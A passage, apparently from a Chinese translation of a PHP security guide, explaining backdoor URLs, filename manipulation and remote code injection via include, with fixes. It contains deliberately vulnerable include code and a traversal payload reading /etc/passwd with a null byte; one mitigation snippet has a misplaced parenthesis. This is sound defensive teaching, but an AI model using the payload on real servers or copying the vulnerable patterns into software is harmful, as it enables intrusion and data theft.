  一些方法能限制源码暴露的可能性但不能从根本上解决这个问题。这些方法包括在Apache中配置.inc文件与PHP文件一样处理,包含文件使用.php后缀,配置Apache不能接受对.inc文件的直接请求:

  <Files ~ "\.inc$">
      Order allow,deny
      Deny from all
  </Files>

  虽然这些方法有其优点,但没有一个方法在安全性上能与把包含文件放在网站主目录之外的做法相比。不要依赖于上面的方法对你的应用进行保护,至多把它们当做深度防范来对待。

5.2. 后门URL
  后门URL是指虽然无需直接调用的资源能直接通过URL访问。例如,下面WEB应用可能向登入用户显示敏感信息:

  <?php

  $authenticated = FALSE;
  $authenticated = check_auth();

  /* ... */

  if ($authenticated)
  {
      include './sensitive.php';
  }

  ?>


  由于sensitive.php位于网站主目录下,用浏览器能跳过验证机制直接访问到该文件。这是由于在网站主目录下的所有文件都有一个相应的URL地址。在某些情况下,这些脚本可能执行一个重要的操作,这就增大了风险。
  为了防止后门URL,你需要确认把所有包含文件保存在网站主目录以外。所有保存在网站主目录下的文件都是必须要通过URL直接访问的。

5.3. 文件名操纵
  在很多情形下会使用动态包含,此时目录名或文件名中的部分会保存在一个变量中。例如,你可以缓存你的部分动态页来降低你的数据库服务器的负担。

  <?php

  include "/cache/{$_GET['username']}.html";

  ?>

  为了让这个漏洞更明显,示例中使用了$_GET。如果你使用了受污染数据时,这个漏洞同样存在。使用$_GET['username']是一个极端的例子,通过它可以把问题看得更清楚。
  虽然上面的流程有其优点,但它同时为攻击者提供了一个可以自由选择缓存页的良机。例如,一个用户可以方便地通过编辑URL中的username的值来察看其他用户的缓存文件。事实上,攻击者可以通过简单的更改username的值为相应的文件名(不加扩展名)来察看/cache目录下的所有扩展名为.html的文件。

  http://example.org/index.php?username=filename

  尽管该程序限制了攻击者所操作的目录和文件名,但变更文件名并不是唯一的手段。攻击者可以创造性地达到在文件系统中进行跨越的目的,而去察看其他目录中的.html文件以发现敏感信息。这是因为可以在字串使用父目录的方式进行目录跨越:

  http://example.org/index.php?username=../admin/users

上面URL的运行结果如下:

  <?php

  include "/cache/../admin/users.html";

  ?>

  此时,..意味着/cache的父目录,也就是根目录。这样上面的例子就等价于:

  <?php

  include "/admin/users.html";

  ?>

  由于所有的文件都会在文件系统的根目录下,该流程就允许了一个攻击者能访问你服务器上所有的.html文件。

  在某些平台上,攻击者还可以使用一个NULL来终止字符串,例如:
  http://example.org/index.php?username=../etc/passwd%00
  这样就成功地绕开了.html文件扩展名的限制。
  当然,一味地去通过猜测攻击者的所有恶意攻击手段是不可能的,无论你在文件上加上多少控制,也不能排除风险。重要的是在动态包含时永远不要使用被污染数据。攻击手段不是一成不变的,但漏洞不会变化。只要通过过滤数据即可修复这个漏洞(见第一章):
  <?php

  $clean = array();

  /* $_GET['filename'] is filtered and stored in $clean['filename']. */

  include "/path/to/{$clean['filename']}";

  ?>

  如果你确认参数中只有文件名部分而没有路径信息时,另一个有效的技巧是通过使用basename( )来进行数据的过滤:

  <?php

  $clean = array();

  if (basename($_GET['filename'] == $_GET['filename'])
  {
    $clean['filename'] = $_GET['filename'];
  }

  include "/path/to/{$clean['filename']}";

  ?>

  如果你允许有路径信息但想要在检测前把它化简,你可以使用realpath()函数:

  <?php

  $filename = realpath("/path/to/{$_GET['filename']}");

  ?>


通过上面程序处理得到的结果($filename)可以被用来确认是否位于/path/to目录下:

  <?php

  $pathinfo = pathinfo($filename);

  if ($pathinfo['dirname'] == '/path/to')
  {
    /* $filename is within /path/to */.
  }

  ?>

  如果检测不通过,你就应该把这个请求记录到攻击日志以备后查。这个在你把这个流程作为深度防范措施时特别重要,因为你要确定其它的安全手段失效的原因。

5.4. 代码注入
  一个特别危险的情形是当你试图使用被污染数据作为动态包含的前导部分时:
  <?php

  include "{$_GET['path']}/header.inc";

  ?>

  在这种情形下攻击者能操纵不只是文件名,还能控制所包含的资源。由于PHP默认不只可以包含文件,还可以包含下面的资源(由配置文件中的allow_url_fopen所控制):

  <?php

  include 'http://www.google.com/';

  ?>

  include语句在此时会把http://www.google.com的网页源代码作为本地文件一样包含进来。虽然上面的例子是无害的,但是想像一下如果GOOGLE返回的源代码包含PHP代码时会如何。这样其中包含的PHP代码就会被解析并执行。这是攻击者借以发布恶意代码摧毁你的安全体系的良机。
  想象一下path的值指向了下面的攻击者所控制的资源: